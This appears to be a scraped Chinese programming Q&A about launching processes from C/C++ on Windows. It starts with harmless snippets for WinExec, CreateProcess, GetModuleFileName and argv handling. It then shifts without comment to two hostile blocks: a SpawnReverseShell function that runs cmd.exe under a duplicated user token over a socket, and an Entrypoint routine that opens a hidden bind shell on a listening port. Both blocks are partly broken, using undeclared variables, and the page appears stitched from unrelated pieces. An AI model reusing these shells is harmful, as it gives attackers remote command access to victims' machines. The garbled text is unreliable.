我试了几个函数。都不能满足要求1.system();这个函数可以在执行完命令后才返回。但是显示黑窗口2.WinExec ShellExecute CreateProcess这三个都能不显示黑窗口。但是执行命令后就返回了。没管命令执行成功与否。WinExec("c:\\AppPatch\\AppLoc.exe
FS3Loader.exe /L0404",SW_SHOW);
再不行直接写个批处理
然后用ShellExecute或WinExec执行它不用 GetCommandLine(),它得出来的结果有一个双引号,
我给你一个小程序,用GetModuleFileName得出全路径,然后再分割出名称.
char c[255];//显示程序名
char name[255];
GetModuleFileName(NULL,c,255);
char *p=strrchr(c,92);
strcpy(name,p+1);
AfxMessageBox(name);//保存在name中.
从一个程序调用另一个EXE可以用CreateProcess函数。
得到别的程序传进来的参数可以如下:
CString cmd;
cmd = GetCommandLine();
#include <stdlib.h>
int main(int argc, char **argv)
{
int i=0;
printf("This is a program to show the path of a file.\n");
if (argc<2)
{
printf("Your input is error! This program need an parameter\n");
printf("User: cppTest.exe argv\n");
system("pause");
return 1;
}
printf(argv[1]);
printf("\n");
system("pause");
return 0;
}
DWORD SpawnReverseShell(HANDLE hToken, DWORD dwPort,LPSTR sIP) {
HANDLE hToken2,hTokenTmp;
PROCESS_INFORMATION pInfo;
STARTUPINFO sInfo;
ZeroMemory(&sInfo, sizeof(STARTUPINFO));
ZeroMemory(&pInfo, sizeof(PROCESS_INFORMATION));
sInfo.cb= sizeof(STARTUPINFO);
sInfo.lpDesktop= "WinSta0\\Default"; //so we don't have to wait on the process
sInfo.dwFlags = STARTF_USESTDHANDLES;
sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError =(HANDLE) sock;
CHAR cType;
IsImpersonationToken(hToken, &cType);
if (cType=='I'){
SetThreadToken(NULL, hToken);
OpenThreadToken(GetCurrentThread(),TOKEN_ALL_ACCESS,FALSE,&hTokenTmp);
SetThreadToken(NULL, NULL);
}
else
hTokenTmp=hToken;
DuplicateTokenEx(hTokenTmp,MAXIMUM_ALLOWED,NULL,SecurityImpersonation, TokenPrimary,&hToken2) ;
LPTSTR lpComspec;
lpComspec= (LPTSTR) malloc(1024*sizeof(TCHAR));
GetEnvironmentVariable("comspec",lpComspec,1024);//it won't work if cmd.exe used as commandline param
dwRes=CreateProcessAsUser(hToken2, lpComspec ,NULL, NULL, NULL, TRUE, NULL, NULL, NULL, &sInfo, &pInfo);
if (hTokenTmp!=hToken)
CloseHandle(hTokenTmp);
CloseHandle(hToken2);
return dwRes;
}
void Entrypoint()
{
WSADATA WSADa;
sockaddr_in SockAddrIn;
SOCKET CSocket,SSocket;
int iAddrSize;
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo;
char szCMDPath[255];
//-------------------
ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
ZeroMemory(&WSADa, sizeof(WSADATA));
//----初始化数据----
//获取cmd路径
GetEnvironmentVariable( "COMSPEC ",szCMDPath,sizeof(szCMDPath));
//加载ws2_32.dll
WSAStartup(0x0202,&WSADa);
//设置本地信息和绑定协议
SockAddrIn.sin_family = AF_INET;
SockAddrIn.sin_addr.s_addr = INADDR_ANY;
SockAddrIn.sin_port = htons(MasterPort);
CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
//绑定端口
bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));
listen(CSocket,1);
iAddrSize = sizeof(SockAddrIn);
SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);
//开始连接远程服务器
StartupInfo.cb = sizeof(STARTUPINFO);
StartupInfo.wShowWindow = SW_HIDE;
StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
StartupInfo.hStdInput = (HANDLE)SSocket;
StartupInfo.hStdOutput = (HANDLE)SSocket;
StartupInfo.hStdError = (HANDLE)SSocket;
//创建匿名管道
CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
//关闭进程句柄
closesocket(CSocket);
closesocket(SSocket);
WSACleanup();
//关闭连接卸载ws2_32.dll
}